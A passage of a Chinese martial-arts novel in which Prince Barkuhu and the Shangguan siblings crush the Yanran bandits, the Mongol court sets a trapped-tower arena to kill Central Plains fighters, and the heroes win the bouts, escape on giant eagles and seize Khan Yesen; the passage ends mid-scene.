一千名部众手下,出了山寨,直奔东面而去,大约行了半个时辰,看到远处有一个团队,驱赶着几千只羊,几百头牛,近百匹骏马,正在缓慢前行,下山虎苏日格一声号令,一千部众分作两路,挥鞭驱马左右夹击过去,那护送牛羊的两百多人,哪里见过这阵势?”没等到这一千人骑兵形成包围,已经扬鞭驱马,望风而逃,下山虎苏日格,出林虎吉尔布,跳涧虎桑杰,都哈哈大笑,命令手下将牛羊骏马归拢,然后驱赶回燕然山山寨,走到半路上,忽听号角吹起,只见前面有上千兵马杀出,打的正是也先的旗号,出林虎吉尔布,跳涧虎桑杰忙问下山虎苏日格:“二哥,你看这怎么办?”是也先的兵马。”苏日格道,他们也不过千把人,你们发出信号,让大哥和五弟带领兵马前来支援,我们来一个前后包夹,定然杀的也先部众,屁滚尿流。”出林虎吉尔布命人发出讯号,然后命令手下严阵以待,再说这上山虎巴图在山寨中,接到手下来报:“大当家的,几位当家的,已经把牛羊抢到手,现在也先的部队大概有千余人,正在拦截二当家等人。”上山虎巴图道:“你打探清楚了吗?”他们只有千余人?”周边有没有其他的埋伏?”手下道:“据探马来报,周边并没有其他人马,只有也先的一千部众。”上山虎巴图对老五踏峰虎哲木台道:“五弟,你点齐兵马,我们从后面包抄,定要将也先的部众杀的片甲不留。”老五踏峰虎哲木台得令,点齐了山寨中剩余人马,只留下一些老弱残兵看守山寨,上山虎巴图和老五踏峰虎哲木台率领人马,快马加鞭,功夫不大,已经到了也先部队的后方,远远望去,只见老二下山虎苏日格,老三出林虎吉尔布,老四跳涧虎桑杰,率领手下正严阵以待,和也先的部队对峙,双方还未开始交战,老二下山虎苏日格,老三出林虎吉尔布,老四跳涧虎桑杰见到大哥五弟率领人马前来支援,不由得斗志昂扬信心大增,下山虎苏日格命手下吹起号角,准备发动攻击,正在此时,忽见上山虎巴图和老五踏峰虎哲木台人马后方,密林中又蹿出来两千兵马,双方变成相互包夹之势,上山虎巴图一见,虽然心中有些吃惊,但是心想,自己的四位兄弟都身手不凡,勇猛过人,手下两千部众也都是久经沙场,能征善战,也先的骑兵虽然人多,但也不足为惧,只见敌方阵营驶出三匹战马,为首三人端坐马鞍,其中有个少年大声喊道:“上山虎巴图何在?”上前答话。”上山虎巴图带着几个随从驱马上前,道:“你大爷巴图在此,你有何话说?”那少年微微一笑,道:“巴图,你可知道我是谁?”上山虎巴图冷冷一笑道:“你是何人?”竟敢来我燕然山挑衅。”少年答道:“我乃也先大汗长子巴尔库虎,今天我奉劝你们一句,放下兵刃,立刻投降,免得丢了性命。”上巴图哈哈大笑道:“就凭你这个毛头小子,乳臭未干,有什么本事敢说此大话?”巴尔库虎道:“巴图,既然你不愿投降,那么我们就阵前相见,本王子和你单打独斗,让你看看本王子的厉害。”上山虎巴图久经沙场,哪里会怕巴尔库虎一个毛头小子,大声道:“不知死活的毛头小子,待我取了你的狗命。”说罢,正要上前,老五踏峰虎哲木台道:“大哥,这小子乳臭未干,只会吹牛放屁,让我去取了他的狗命。”巴图道:“好,兄弟小心!这踏峰虎哲木台,原来是蒙古的一个猎人,因为部落被也先打败,族人也被也先杀了精光,所以加入了燕然山,想为族人报仇,踏峰虎哲木台身高八尺,膀大腰圆,力大无穷,使的是一柄六十斤重的开山巨斧,踏峰虎哲木台驱马上前,话不多说,抡起巨斧和巴尔库虎战作一团,巴尔库虎也不甘示弱,将手中的两柄熟铜虎戟挥舞的是虎虎生风,巴尔库虎身后两人,一个是三十岁左右男子,中等身材,相貌堂堂,一个二十六七岁,眉清目秀,也是男装打扮,看上去身材有些娇小,两人气定神闲的在一旁观战,踏峰虎哲木台和巴尔库虎两人来来回回打了七八十个回合,踏峰虎哲木台心中发虚,心中暗想,这小子也就十八九岁,怎么这么大力气啊?”一般人给我的开山斧十几招,就会被砸趴下,这小子接了我几十招,竟然面不改色,看来这小子是天生神力!巴尔库虎又接了几招之后,哈哈大笑道:“上山虎,看来你的兄弟不管用啊,让你看看本王子的厉害。”说罢,手中一对熟铜虎戟使出一招蛟龙出海,带着破风之声刺向踏峰虎哲木台,踏峰虎哲木台不敢大意,连忙用斧招架,巴尔库虎又使了一招石破天惊,哲木台奋力用巨斧封住攻势,巴尔库虎得势不饶人,双戟挥动,将霸王卸甲,杀神破碎,盘古开天,精妙招数连连使出,踏峰虎哲木台用开山斧,连接带挡,已经是狼狈不堪,频频遇险,上山虎巴图见势不妙,连忙驱马上前,准备夹击巴尔库虎,后面观阵的年龄稍大男子,一举手中两柄鎏金龙戟,将上山虎巴图截住,巴图道:“你是何人,竟敢挡住大爷的去路,快快滚开!免得丢了性命。”那男子呵呵一笑道:“上山虎,我是北海上官世家上官龙。”巴图从小在漠北长大,早就听说北海上官世家的厉害,当年在元朝时期,北海的上官英被元朝册封为无敌大将军,手中一对乾坤玄铁戟,招数精妙,变化无穷,是元朝的第一猛将,听说这上官龙是当年无敌大将军上官英的重孙,在北海一带,是鼎鼎有名的武林高手,不想今日竟随着也先儿子巴尔库虎而来,巴图道:“上官龙,我们兄弟与你北海上官世家向来井水不犯河水,你们为何要帮助也先和我们兄弟厮杀?”上官龙道:“上山虎,你还不知道吧?”巴尔库虎是我父亲的关门弟子,八岁到了北海学艺,学了整整十年,如今武艺已成,也先大汗命人重金礼聘请我兄妹二人,为大元国师,所以我兄妹二人,陪着我师弟巴尔库虎,来到大元首府和林,你们在燕然山纠结部众为匪,抢夺周边部落牛羊财物,我兄妹二人既然身为大元国师,自然要为部落民众安居乐业着想,将你们铲除,你们识相的,放下兵器投降,我可以为你们求情,保全你们性命,如果冥顽不化,今日就要将你们杀的片甲不留。”上山虎巴图哪里听得进去,一举手中钢刀,道:“上官龙,既然你要助纣为虐,那我们就手底下见真章。”说罢挥动手中钢刀,与上官龙战作一团,这边的踏峰虎哲木台被巴尔库虎手中一对熟铜虎戟打的是只有招架之功,没有还手之力,一招不慎,被巴尔库虎一戟刺中,惨叫一声跌落马下,上山虎巴图看见,眼都红了,将手中钢刀使得狂风暴雨一般,恨不得一刀将上官龙砍死,但上官龙是何等人物,避过巴图锋芒,沉着应对,三十几招过后,上官龙找到破绽,手中鎏金双戟如猛虎出林,蛟龙出水,一戟刺中巴图,上山虎巴图惨叫一声跌落马下,手下的部众一看,两个首领都被杀死,吓得是连忙逃窜,那边老二下山虎苏日格,老三出林虎吉尔布,老四跳涧虎桑杰,想过来支援,可是被也先手下的部将率骑兵拦住,此时也正在厮杀,老二下山虎苏日格远远看见大哥,五弟已经丢了性命,心中慌乱,连忙大声呼喊老三出林虎吉尔布,老四跳涧虎桑杰道:“三弟,四弟,现在不宜久战,大家跟我一起冲出去。”老三出林虎吉尔布,老四跳涧虎桑杰也看到大哥五弟已经战死,也连忙招呼手下部众,跟着二哥下山虎苏日格奋力冲杀,突围而去,蒙古人作战,学的是成吉思汗战法,讲的是围猎战术,也就是古代兵法中常用的围三缺一,眼见燕然山群匪,如疯魔一般突围,两队骑兵往边上一闪,让开了一条口子,苏日格带领三弟四弟和剩下的上千部众,驱马就逃,巴尔库虎一声令下,命令手下骑兵在后面追击,燕然山众匪此刻已经无心抵抗,只想拼死逃命,,巴尔库虎率领骑兵,一边紧追不舍,一边不断放箭,蒙古人弓马是天下一绝,燕然山众匪不断有人中箭跌落马匹,苏日格兄弟等人身后,逐渐只剩下两三百部众,眼见前方有一片密林,苏日格连忙率领三弟四弟和剩下的部众,驱马躲进树林,巴尔库虎,还想入林追击,上官龙在一旁,眼见天色已晚,苏日格等人又躲进密林,连忙出声阻止,上官龙道:“师弟,俗话说得好,逢林莫入,穷寇勿追,今日你已经将燕然山匪徒杀了七八成,他们大伤元气,再也不能和你父亲作对了,现在天色已晚,还是鸣金收兵吧。”巴尔库虎虽然心中还想追杀,但他一向视师兄如神灵一般,对师兄一向言听计从,于是下令鸣金收兵,第二天一早,巴尔库虎一边分兵归拢四散的牛羊,打扫战场,一边分兵去燕然山众匪山寨,燕然山留守的老弱残兵,早已得到消息,知道首领惨败,大批部众战死,趁着夜色带上山寨中的金银财宝已经溜之大吉,巴尔库虎的手下部众,将山寨中的粮草兵刃搬了一空,然后一把火将燕然山山寨烧的是寸草不留,巴尔库虎和上官兄妹带着兵将,和归拢的牛羊,山寨中的粮草兵器,得胜凯旋,数日后,已经到了大元首府和林,大汗也先早已得到讯报,心中欣喜万分,心想儿子一回来,就带着两个师兄弟立下如此大的功劳,拔了燕然山这眼中钉,肉中刺,从此漠北草原就是我也先的天下了,再也没有人敢和我抗争了,于是大汗也先带领手下文武百官,出了首府和林,去迎接王子巴尔库虎和两位国师,两队人马相遇,也先难以抑制心中的喜悦,喜形于色,道:“燕然五虎,自以为久经沙场,能征善战,没想到遇到了我儿也是望风而逃,我的孩儿巴尔库虎才是真正的猛虎。”手下文武百官,也连忙上前溜须拍马道:“我们的巴尔库虎王子不但是猛虎,而且是虎中之王,是我们蒙古部落的无敌虎王。”也先喜笑颜开,连连点头,第二日,也先在首府和林设宴封赏,封儿子巴尔库虎为蒙古虎王,兵马大元帅,文武百官也齐声叫好,上官龙兄妹也向巴尔库虎道贺,酒菜摆上,众人大碗喝酒,大块吃肉,一个个兴高采烈,眉飞色舞,这时太师阿剌站起身形,对也先道:“大汗,如今巴尔库虎王子学成归来,一举灭了燕然群匪,让我蒙古再无后顾之忧,现在又得了两位国师鼎力相助,现在我们兵强马壮,粮草充足,请大汗下旨,我们要挥军南下,江南牧马,为我们蒙古人再创辉煌!此言一出,文武百官齐声叫好,纷纷站起身向也先请战,也先面带微笑,轻抚胡须道:“好,待我和太师商量万全之策后,你等再上阵杀敌,为我蒙古帝国建立功勋,既然太师有此打算,不知可有什么妙计良策?”太师阿剌大声道:“大汗,我有一计,请大汗考虑定夺。”也先道:“太师请讲。”阿剌道:“大汗,中原武林向来习武之人众多,这些中原武林人士,一向喜欢和我们蒙古人作对,我们已经离开中原多年,不知中原武林人士,现在武功如何?”当年我大元皇朝曾经得到被中原武林人士视为泰山北斗的少林寺武当派镇寺镇派秘籍,我们可建一座九层高塔,将武功秘籍放在高塔之中,然后,公告天下,塔前摆下擂台比武,获胜者可将武功秘籍从高塔中取走,以此来吸引中原武林人士来和林抢夺秘籍,我们不但可以探清中原武林人士实力,而且顺便将中原武林人士诱来我蒙古首府,我们趁机将中原武林人士,以比武的名义杀了一批,消耗中原武林的实力,到时候我蒙古骑兵再行南下,明朝没有这些武林中人的支持,单凭步骑兵与我蒙古铁骑厮杀,定然挡不住我蒙古铁骑,这样更为稳妥。”大汗也先点点头,太师所言极是,不知太师可有什么周密计划?”阿剌道:“到时候请巴尔库虎王子和两位国师镇守擂台,相信凭王子和两位国师的武功,定可将来比武的中原武林人士全部斩杀。”大汗也先思索片刻道:“两位国师和巴尔库虎的武功,我是深信不疑,但中原武林狡诈之人众多,万一使用阴招耍诈,你们一招不慎输了,难道我们就要将武功秘籍给他们不成?”阿剌道:“大汗,武功秘籍只是诱饵,我们在九层高塔处放置几个空木匣,对外宣称木匣中放的是武功秘籍,我们在高塔中暗藏弓弩,飞箭,设置机关陷阱,就算来人耍诈,胜过巴尔库虎王子和两位国师一招半式,等他到了塔中,拿到的也只是个空木匣,就算他躲过高塔中的弓弩飞箭,我们可以在塔下埋伏三千勇士,等到他们入塔之后,我们将木塔团团包围,就算他们武功盖世,也逃不过我们这三千蒙古勇士的弓箭弯刀。”大汗也先听了,连连点头道:“太师之计,果然妙不可言,来人啊,按国师所言,在和林城内建九层高塔,塔中设置机关陷阱,在塔前摆下擂台,然后公告天下,擂台比武,胜者可取高塔中的武功秘籍,另外在高塔周边小巷中暗藏三千蒙古勇士,如果中原武林人士学艺不精,死在王子和国师神戟之下,那三千勇士就作为伏兵,按兵不动,如果他们侥幸得手,等他们入塔之后,三千勇士一拥而上,将他们乱刃分尸。”上官龙兄妹在一旁听得清清楚楚,兄妹二人交换一个眼神,都感觉这计策过于阴险毒辣,但是也不好出言反对,只能默然无语。 蒙古士兵按也先大汗旨意,建了个九层高塔,张贴告示,并摆下擂台,这个消息很快传入中原,中原各大门派弟子和武林人士得知后,都心情振奋,跃跃欲试,想去和林比武,夺回武功秘籍,各大门派首脑都不是泛泛之辈,已经看破蒙古人的阴谋诡计,于是传令,门下弟子不得去和林比武,但是中原武林江湖人士众多,还是有很多武林江湖人士络绎不绝前往和林,参加擂台比武,这些江湖人士,虽然也有一些武艺高强之人,但都不是巴尔库虎王子和上官兄妹的对手,一个多月时间,死伤众多。 沈云唐晟,张皓光,张晓光,四人乘坐巨鹰,很快来到和林城外,这和林,全称哈剌和林,公元1235年,窝阔台汗在此建都,是当时蒙古帝国的首都,该城南北长约四里,东西宽约两里,作为帝国的政治,经济和文化中心,和林连接东西方,在蒙古帝国时期具有重要历史地位,公元1260年忽必烈即位后,和林地位下降,元朝时仍为漠北重要城市,到了明朝时期,北元政权以此为都,这里处于蒙古高原的中心地带,背靠杭爱山脉,地势险要,水草肥美,是蒙古国建都的理想之地,城中万安宫,现在是也先大汗的王宫。” 唐晟等人在城外找了一片密林,安排好巨鹰后,然后步行入城,来到九层高塔的擂台前,擂台都是一些粗大圆木搭建,擂台上,巴尔库虎正手持一对熟铜虎戟,在和一名中原武林人士比武,那中原武林人士是一名四十多岁男子,使得是八卦刀招数,身手也是不弱,二人交手,打了四五十个回合后,一招不慎,被巴尔库虎一招李广射石,刺伤肩膀,顿时血流如注,那男子见势不妙,连忙跳下擂台逃走,巴尔库虎今日已经连胜三场,不禁踌躇满志,得意洋洋,沈云四人看罢,又到周边详细打探了两天,然后回到驿站,关上房门,沈云道:“三位贤侄,听说巴尔库虎是蒙古大汗也先之子,是北海冰龙上官杰的关门弟子,手中一对熟铜虎戟,招数精妙,加上天生神力,为蒙古第一勇士,今日我悄悄的观望四周的迹象,四周埋伏了不少兵马,就算我们擂台比武赢了,我怀疑这九层高塔中,也没有少林武当的武功秘籍,到时候我们进入九层高塔中,蒙古人派兵将把高塔一围,我们是插翅难飞。”张皓光唐晟连连点头,张晓光嘻嘻一笑道:“沈叔叔,蒙古人看来是想耍阴谋诡计呀,咱们来个将计就计,你们看如何?”沈云道:“哦,晓光有什么妙计?”张晓光道:“沈叔叔,大哥,三弟,你们俯耳过来,请听我说。”三人俯耳倾听,听了张晓光计策后,连连点头叫好,第二天沈云,张晓光唐晟三人,来到了九层高塔前的擂台,三人到了报名处,沈云道:“我三人来此,要上擂台比武。”登记处的蒙古官员四十岁左右,长得矮矮胖胖,把眼一斜道:“你们三个,行不行啊?”你可知道这一个多月,来了上百人都不顶用,非死即伤,不死即残,你们三人,可想好了。”沈云道:“我们来贵处,自然想上擂台,请给予登记通报。”那个蒙古官员,一阵冷笑,心中暗想:“真是好心却劝不住要死的鬼呀!于是将沈云三人登记,然后禀告巴尔库虎,沈云三人在登记处等候,只听擂台上,有个蒙古士兵大声吼道:“刚才登记的沈云,张晓光,唐晟,你们哪个先上来比武?三局两胜,哪个先来?”唐晟年轻气盛,加上刚刚出岛,心中自然有跃跃欲试的想法,于是对沈云和张晓光道:“二叔,二哥,我先上去会会他,为你们打 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个前阵。”沈云和张晓光一想:“这蒙古王子年龄不大,虽然听说是天生神力,但是估计唐晟也可以对付,在后面上场的是蒙古两位国师,上官双雄,那可是鼎鼎大名的厉害人物,不如先让唐晟去对付蒙古王子,上官双雄就由我们来对付。”沈云和张晓光交换一下眼神,心意相通,沈云点点头道:“晟儿,小心应对。”唐晟答应一声,一个旱地拔葱,跳上擂台,唐晟到了擂台之上,定睛看去,只见了蒙古王子巴尔库虎,大约二十岁左右,豹头环眼,虎背熊腰,凶悍威猛,唐晟抱拳施礼道:“巴尔库虎王子,在下唐晟,这厢有礼了。”巴尔库虎斜眼瞟了一眼唐晟,看见唐晟高高瘦瘦的,也才十八九岁的模样,心中霎时有了一丝轻视之心,道:“你这小子也来打擂?”看你这瘦弱模样,恐怕让本王子三拳两脚,就让你丢了性命,你来凑什么热闹?”唐晟道:“有志不在年高,我虽年幼,但也知这九层高塔中,有少林武当的武功秘籍,这两部武功秘籍都是少林武当前辈高人的心血,所以我今日前来,只想为少林武当取回秘籍。”巴尔库虎哈哈大笑道:“好一个不知死活,不知天高地厚的狂妄小子,既然你要寻死,本王子就送你上路,来吧,接招。”说罢,一举手中一对熟铜虎戟,两人你来我往,开始交手,几招过后,唐晟感觉到巴尔库虎果然天生神力,力量惊人,手中双戟如蛟龙出海,灵蛇吐信,唐晟抖擞精神,施展诛妖三十六式,手中长剑如猎豹捕食,飞鸟穿云,与巴尔库虎王子你来我往战作一团,巴尔库虎心中也在诧异,自从自己出师以来,很少有人在自己手下,过的了百招,想不到今日这小子,看着高高瘦瘦,文文弱弱,但是内力雄厚,招数精妙,两人一边想一边过招,巴尔库虎王子手中双戟,如同两条游龙一般,招招不离唐晟要害,唐晟全神贯注,左遮右挡,手中长剑如同风吹杨柳,轻逸灵动,两人你来我往,又过了上百招,巴尔库虎王子,使了一招天马行空,唐晟连忙用剑抵挡,还了一招张弓射雁,巴尔库虎挥出左手熟铜虎戟挡住,右手熟铜虎戟使了一招指南打北,唐晟挥剑抵挡,但是唐晟由于实战经验太少,没有看出巴尔库虎此招虚实兼备,一招不慎,被巴尔库虎一招古树盘根将唐晟手中长剑锁住,唐晟连忙发力想抽回宝剑,巴尔库虎左手戟已到,一招燕子抄水,直奔唐晟腰腹刺来,唐晟想要抵挡,但手中宝剑却被巴尔库虎的右手戟锁住,只能伸手撒剑,使了一招懒驴打滚,勉强躲过巴尔库虎的杀招,巴尔库虎得势不饶人,一招卞庄刺虎,手中熟铜虎戟带着风声接连刺向唐晟,唐晟此时手中无剑,只能腰腹用力,连滚了几圈,已到擂台边缘,巴尔库虎快步上前,一招风吹落叶刺向唐晟,唐晟无奈,只好用力翻滚躲避,只感觉身子一空,已经从擂台上掉落,唐晟心中虽然有些慌乱,但是连忙使了一个鹞子翻身,勉强站稳身形,巴尔库虎也从擂台上一跃而下,手中双戟对着唐晟便刺,沈云在旁,看得清楚,连忙纵身上前,手中钢刀使出一招金瓜挂枝,架住巴尔库虎的双戟,道:“我侄儿已经输了,何必赶尽杀绝。”巴尔库虎眼睛一瞪,挥舞手中双戟,就和沈云厮杀,十几招过后,台上的上官龙看得清楚,见沈云静如处子,动若脱兔,站立之姿如同山川巍然屹立,辗转腾挪恰似灵猫活泼灵巧,手中钢刀如狂风吹雪,巨浪拍沙,心中暗想,此人绝非等闲之辈,只怕师弟不是他的对手,于是上官龙大声喊道:“师弟,这局你已经赢了,速速回到擂台,不可恋战。”巴尔库虎向来好斗,本想和沈云接着厮杀,但听到上官龙喊话,巴尔库虎对师兄一向敬若神明,只能虚晃一招跳出场外,然后使了一招一鹤冲天,跳上了擂台,唐晟首战失败,一张脸红的跟大红布似的,沈云安慰了唐晟两句,也纵身跳上擂台,沈云道:“在下沈云,来领教国师高招,上官龙本想出战,但是身边的上官凤已经按捺不住,心想:“这一个多月都是师弟出手打败了前来比武的中原江湖人士,自己闲的无聊,好不容易换人打擂,怎么可以错过?”连忙拿起身旁的一对亮银凤戟,对上官龙道:“哥,让我来会会他。”上官龙知道妹妹一个多月都没上擂台和人较量,心里早已憋得慌,于是道:“此人气宇非凡,绝非等闲之辈,你小心应对。”上官凤上前几步,也不客套啰嗦,一挥手中的亮银凤戟,对着沈云就是一招李广射石,沈云不慌不忙,还了一招犀牛望月,上官凤接着使了一招玉女穿梭,沈云用刀拦挡,还了一招夜叉探海,两人你来我往斗做一团,转眼之间,已过百招,上官凤心中暗暗吃惊,心想:“我这乾坤戟法是当年楚霸王项羽的霸王戟七招演变而来,每招暗含七个变化,三国时吕布又加了三招,改名乾坤戟,我祖辈几代相传,将这戟法运用的出神入化,想不到今日竟遇到劲敌。”沈云心中也是诧异,心想:“这男子看着文弱清瘦,手中双戟却是气势如虹,威猛霸道。”沈云十八年前去了炎黄岛后,长年累月在后山山洞中练功,基本上不和人接触,所以他没有看出来上官凤是女扮男装,上官凤见斗了一百多招,还不能取胜,心中不免有些焦急,手中双戟如两条银龙,不断在沈云身体四周盘旋,沈云连拦带挡,挡住了上官凤的一波攻势,沈云大喝一声:“来而不往非礼也。”右手之中的钢刀一招铁链横江,对着上官凤横扫而来,上官凤连忙挥戟招架,不料沈云不等招式用老,倏地收回兵器,手臂高举,如猛虎扑食泰山压顶,一招惊雷劈山,带着破风之声直奔上官凤的头顶而来,上官凤见刀势凶猛,不敢大意,连忙举起手中双戟抵挡,没想到沈云竟然又使了一记虚招,只见沈云不等招式用老,倏地收回兵器,眨眼之间,已经气运丹田,将全身内力汇聚左掌,一招排山倒海,手掌直奔上官凤胸膛而来,此时上官凤双臂高举双戟,招式已经用老,再想遮挡躲闪,已然来不及,眼见沈云掌势如虹,已到自己胸前,上官凤忍不住发出一声惊呼,沈云耳旁突然听到一声女子惊叫,来不及反应,手掌已击到上官凤胸膛,只感觉手掌接触之处,一片柔软,沈云在电光火石间,脑海中突然闪现一个念头:“她竟然是一名女子。”当下不假思索,将掌力回撤,这掌力既出,现在猛然回撤,如同自己狠狠的打了毫无防备的自己一掌,纵然沈云身体强健,也不由得闷哼一声,腾腾腾,连退几步,摔了一个屁股墩,嘴角流出一股鲜血,上官龙在一旁听到妹妹惊叫,连忙起身想去救援,却看到妹妹只是呆呆站立,毫无受伤迹象,对手已经受伤倒地,也就放下心,重新落座,唐晟和张晓光在擂台下看得清楚,原本见到沈云已经胜券在握,没想到电光火石间沈云竟然受伤跌倒在地,两人连忙纵身上了擂台,伸手去扶沈云,上官凤此时已经反应过来,知道沈云听到自己惊叫,手掌触到自己胸膛时,才知道自己是女扮男装,所以不愿出掌击打自己胸膛,将掌力撤回,反而击伤了他本人,上官凤满脸羞红,上前几步拱手施礼,道:“沈壮士,多谢手下留情,我输了。”然后又压低声音对沈云道:“塔内无秘籍,有机关陷阱,塔下有埋伏,请小心。”说罢,转身回到擂台座椅,沈云唐晟张晓光三人都听到了上官凤的提醒,张晓光道:“三弟,你扶二叔下去,我来会会那上官龙。”唐晟扶着沈云从擂台上一跃而下,张晓光拱手施礼道:“在下张晓光,来领教国师高招。”上官龙站起身,拿着一对鎏金龙戟,缓步上前,仔细打量张晓光,只见张晓光二十六七左右,面如冠玉,相貌堂堂,眉眼之间,英气逼人,上官龙道:“请问阁下,是否是南海炎黄岛的蝠王张晓光?”张晓光一抱拳,道:“正是在下。”上官龙心中暗想,当年自己曾祖父上官英率十万蒙古大军,围攻这张晓光的曾祖父张士诚,后来曾祖父和圣火教教主唐正阳较量,一招不慎被唐正阳击伤,曾祖父一直视为奇耻大辱,抱憾终身,后来听说,张士诚之子张仁凤为救义善堂一众孤儿和西湖会帮众,独自留下,束手就擒,后自刎身死,灵隐三杰中的老大青面狮老二金毛犼老四金翅大鹏带领张仁凤之子和西湖会帮众,义善堂孤儿去了南海,金翅大鹏消灭三怪岛铁甲蛇,从此占据三怪岛,并改名为炎黄岛,金翅大鹏叶天羽是武林公认的天下第一高手,张晓光外号南海蝠王,是灵隐四杰的后辈,在南海和中原武林名声极响,看来今日必是一场恶战,想到这,上官龙心中暗暗警醒,脸上却是带着微笑,道:“原来是南海蝠王,久仰大名。”张晓光也面带微笑道:“在下久仰北海上官世家武功卓越,北海双骄武功盖世,乾坤双戟出神入化,今日一见,果然名不虚传。”上官龙呵呵一笑:“南海蝠王,过奖了,请出招。”张晓光举起手中宝剑,使了一招日月同辉,上官龙微微一笑道:“南海蝠王,客气了。”还了一个虚招,明河共影,双方彼此客套过后,就开始真刀真枪的比拼,只见张晓光剑势如虹,如海潮汹涌,浪击礁石,上官龙挥戟如风,如风卷残云,追风赶月,张晓光全神贯注,使出天罡剑精髓,平沙落雁,星火燎原,云海波涛,飞将夺帅,逆天改命,天罡指路,运转乾坤,众多妙招源源不断,上官龙小心翼翼,左拦右挡,手中双戟毫不示弱,还以颜色,野马分鬃,怪蟒入蛰,白猿献果,金揽连环,螳螂捕蝉,寒梅吐玉,凤凰单展翅,倒打紫金冠,诸般绝学层出不穷,两人出招都是极快,你来我往,不知不觉已经斗了三百多回合,张晓光不知不觉中,已经有些力乏,心中暗想:“上官龙不但戟法精奇,而且内力深厚,再打下去我内力不及他深厚,恐怕会败于他手下。”想到这,张晓光脑海中高速运转,终于想出了一个妙招,张晓光大吼一声,手中长剑一招哪吒探海挥出,上官龙不慌不忙举戟封住,还了一招燕别金翅,张晓光侧身避过,接着一招一鹤冲天,高高跃起,手中长剑使了一招天罡劈山,上官龙沉着应对,使了一招雾锁金顶,护住头顶要害,张晓光不等招式用老,用长剑在上官龙戟上一点,借着这一点之力,身形又拔高数尺,在空中一个筋斗翻身,施了一招神针定海,右手手中长剑剑芒闪动,宛如黑夜之中繁星点点,带着破风雷鸣之声,从上往下,俯冲刺向上官龙,上官龙见剑势凶猛,不敢大意,连忙凝神聚气,气沉丹田,双腿用力,站稳身形后,一招霸王举鼎护住头顶,电光火石间,张晓光右手持剑俯冲而下,暗中凝神聚气气沉丹田,将全身内力运至左手,使出劈空掌法,迅疾如风,对着上官龙站立的圆木四周,连连挥掌猛击,上官龙本来是双腿用力,站稳身形向上迎敌,没想到张晓光却用劈空掌将他所站的圆木击断,上官龙只觉得脚下一软,所站的圆木已经断裂,上官龙猝不及防,身形从断裂处跌落,上官龙虽惊不慌,人在半空之中,左手戟快如闪电,勾住断裂圆木边缘,一招飞龙升天,跃起身形,右手戟一招八方风雨,护住全身,上官龙跃上擂台后,定睛一看,只见张晓光并未上前追击,而是收起手中长剑,笑盈盈的拱手施礼道:“多谢上官兄承让。”上官龙一个大意,中了张晓光计谋,虽然在招式上,内力上都略占上风,但根据比武规则,跌下擂台者为输,虽然心中不服,但他成名已久,声名显赫,自然不愿与张晓光争论,也拱手回礼道:“南海蝠王不但轻功高,交手时,计谋也多。”张晓光嘻嘻一笑道:“比武场上,如同战场交锋,自古兵不厌诈,随机应变,也是比武取胜之道。”上官龙悻悻道:“此场比试,你们赢了,九层高塔中的武功秘籍,你们自己去取吧。”说罢,转身回到擂台的座椅坐下,张晓光纵身下了擂台,和沈云唐晟三人一起向高塔走去,此时的上官凤,眼睛睁的溜圆看着沈云,心中暗想:“我已经告诉他了,塔内无秘籍,有机关陷阱,塔下有埋伏,他们难道没有听清楚?”怎么还要去高塔之中?”只见唐晟三人,来到高塔下,并没有进入高塔,顺着楼梯上去,而是三人施展轻功,使了招青云直上,三人身形如电,很快到了第九层,塔下围观的众人见三人在比武过后,还能使出如此漂亮的轻功,情不自禁掌声雷动,三人来到高塔窗前,顺窗户一看,只见塔内木桌上,正中间摆着一个古色古香的木匣,三人交换一下眼神,点点头,只见张晓光从腰间取出一节软鞭,长鞭挥出,一招回风拂柳,软鞭已将木匣缠住,张晓光手腕用力,木匣跟着长鞭飞出窗外,就在木匣飞起的刹那间,只见塔内四周弓箭如雨,瞬间已将塔内的木桌射成了刺猬一般,张晓光沈云唐晟三人心中暗道侥幸,张晓光从长鞭缠绕处取下木匣,对塔下的巴尔库虎大声喊道:“蒙古巴尔库猫,你的机关陷阱都被你爷爷破了,这个木匣爷爷送给你。”说罢,伸手将木匣丢落在塔前擂台之上,巴尔库虎听到张晓光的言语,气的哇哇大叫,举手下令,手下兵丁发出一支响箭,只见响箭升空,高塔四周的小巷中,数千蒙古勇士手拿弯刀,背着弓箭蜂拥而出,周边观看的人群,一个个吓得四处逃散,巴尔库虎一挥手大声喝道:“把高塔给我围住,别让他们跑了。”三千蒙古勇士跑步前行,从四面八方包围高塔,只见高塔上的张晓光不慌不忙,发出一声长啸,塔下众人都不知其意,倏然看见远处天空处飞来几只巨鹰,转眼之间巨鹰已飞到高塔塔顶,张晓光沈云唐晟三人纵身跃起,骑上巨鹰,张晓光对着巴尔库虎喊道:“巴尔库猫,你爷爷在城南的树林里等你,你若是有种,就到城南的树林里,我们再斗一场。”说罢,驱鹰飞走,巴尔库虎气的怒发冲冠,目眦欲裂,手拿熟铜双戟,纵身跳上一匹战马,挥舞手中马鞭,直奔城南而去,上官兄妹担心师弟有什么闪失,也纵身跃上战马,追着巴尔库虎向城南而去,巴尔库虎手下部众也担心王子有什么闪失,纷纷骑上战马,追着巴尔库虎的身影而去。 再说大汗也先,正在万安宫中饮酒,忽然有手下来报,说今天擂台比武,中原来了几个高手,擂台比武获胜,又破了九层高塔中的机关,王子率众将他们围住,不料,那几人招来几头巨鹰,骑上巨鹰逃走,王子不堪忍受他们的辱骂,带领手下部众,去城南树林还要和他们厮杀,也先一听,心中一惊,心想这几个中原武林人士,看来都是高手,竟然能打败我的国师,现在虎儿带人去追击,只怕会有什么闪失,于是下令道:“王宫守卫,全部出宫,快马加鞭赶到城南树林,支援王子。”王宫的一众守卫,领命后一个个骑上快马,挥舞马鞭,浩浩荡荡的向城南树林赶去,这时,也先才放下心,正准备继续喝酒,突然间只见宫门外,一个人影如鹰隼一般,快似闪电,直冲宫中而来,进入宫中,没等众人反应过来,便直奔也先而来,也先身边的几个侍卫,也已经看到,一个个大呼小叫,拔出腰中弯刀,对着来人就是挥刀乱砍,只见那人闪展腾挪,如同游鱼一般,躲开侍卫们的钢刀,电光火石间,已经到了也先身边,正是南海鹰王张皓光,也先还没有来得及反抗,张皓光已经伸手将也先的脉门抓住,也先还想反抗,张皓光手指连点,已经点中也先几处大穴,也先只觉得浑身酸麻,动弹不得,张皓光大声喝道:“都给我退下,扔下兵刃,谁敢上前,我就一刀杀了也先。”众侍卫见大汗落入敌手,一个个吓得面无人色,只能按照张皓光的吩咐,扔下兵刃,缓步退后,也先此时也吓得面无人色,结结巴巴道:“这位大侠,你要金银财宝,我都给你,你不要伤我性命。”张皓光道:“也先,你将你宫中抢夺的中原武林秘籍全部给我拿出来,要是少了一本,我就砍掉你一根手指。”也先连连道:“不敢,不敢,我命人全部取来给你。”也先转头对身边的侍卫道:“你们去御宝库把库中的武功秘籍拿